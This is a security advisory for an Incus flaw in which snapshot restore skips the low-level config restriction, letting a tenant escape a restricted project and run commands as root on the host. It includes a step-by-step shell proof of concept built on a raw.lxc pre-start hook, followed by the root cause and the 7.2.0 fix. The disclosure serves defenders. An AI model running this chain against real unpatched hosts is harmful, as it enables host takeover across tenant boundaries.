CVE-2026-48751: Incus Restricted Project Bypass via Snapshot Restore
A flaw in Incus lets an attacker smuggle dangerous low-level container configuration inside a snapshot, move that snapshot into a locked-down project, and restore it to run arbitrary commands as root
The problem
Incus projects support a `restricted.containers.lowlevel=block` setting that is meant to prevent tenants from using powerful hooks such as `raw.lxc` and `raw.qemu`. The restriction check runs when an instance is created or updated, but it was never applied during snapshot restore.
This means a container snapshot carrying a `raw.lxc` hook created in an unrestricted environment retains that hook after being moved into a restricted project and restored. When the container is then started, the hook executes as root on the Incus host. The CVSS score is 9.9 (Critical), reflecting that any project tenant can escape project boundaries completely.
Proof of concept
# 1. On the REMOTE server, create a restricted project
incus project set rem:myproject restricted=true
incus project set rem:myproject restricted.containers.lowlevel=block
# 2. LOCALLY (unrestricted project), craft a container with a malicious raw.lxc hook
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
# 3. Snapshot the container BEFORE unsetting the hook (the hook is frozen into the snapshot)
incus snapshot create rce-raw-lxc snap0
# 4. Unset the hook on the parent so the move is accepted by the restricted project
incus config unset rce-raw-lxc raw.lxc
# 5. Push the instance (with the poisoned snap0) to the restricted project on the remote
incus move rce-raw-lxc rem: --mode push
# 6. Restore the poisoned snapshot, overwriting the clean parent config with the hook
incus snapshot restore rem:rce-raw-lxc snap0
# 7. Start the container; the lxc.hook.pre-start fires as root on the host
incus start rem:rce-raw-lxc
# /lxc-hook-prestart now contains root-level id output written by the hostThe root cause (CWE-862, Missing Authorization) is that the server-side permission check for low-level config keys was only wired into the instance create and update paths. The snapshot restore path re-applied the frozen snapshot config directly without invoking `AllowInstanceUpdate`, so `restricted.containers.lowlevel=block` was silently ignored.
The fix in 7.2.0 adds the project restriction check inside the snapshot restore handler so that any config key forbidden by the project policy causes the restore to be rejected before the config is written. Because snapshots can cross server boundaries via `incus move --mode push`, the poisoned config can be prepared entirely offline against a server the attacker controls, making this a reliable, low-noise attack chain.
The fix
Upgrade `incusd` to version 7.2.0 or later. The fix adds project restriction validation to the snapshot restore code path, so any snapshot whose config violates the project policy is rejected at restore time rather than silently applied. No workaround exists for older versions other than removing `restricted.containers.lowlevel=block` reliance entirely and auditing all existing instance snapshots for banned config keys before allowing restores.
Reported by Stéphane Graber (stgraber).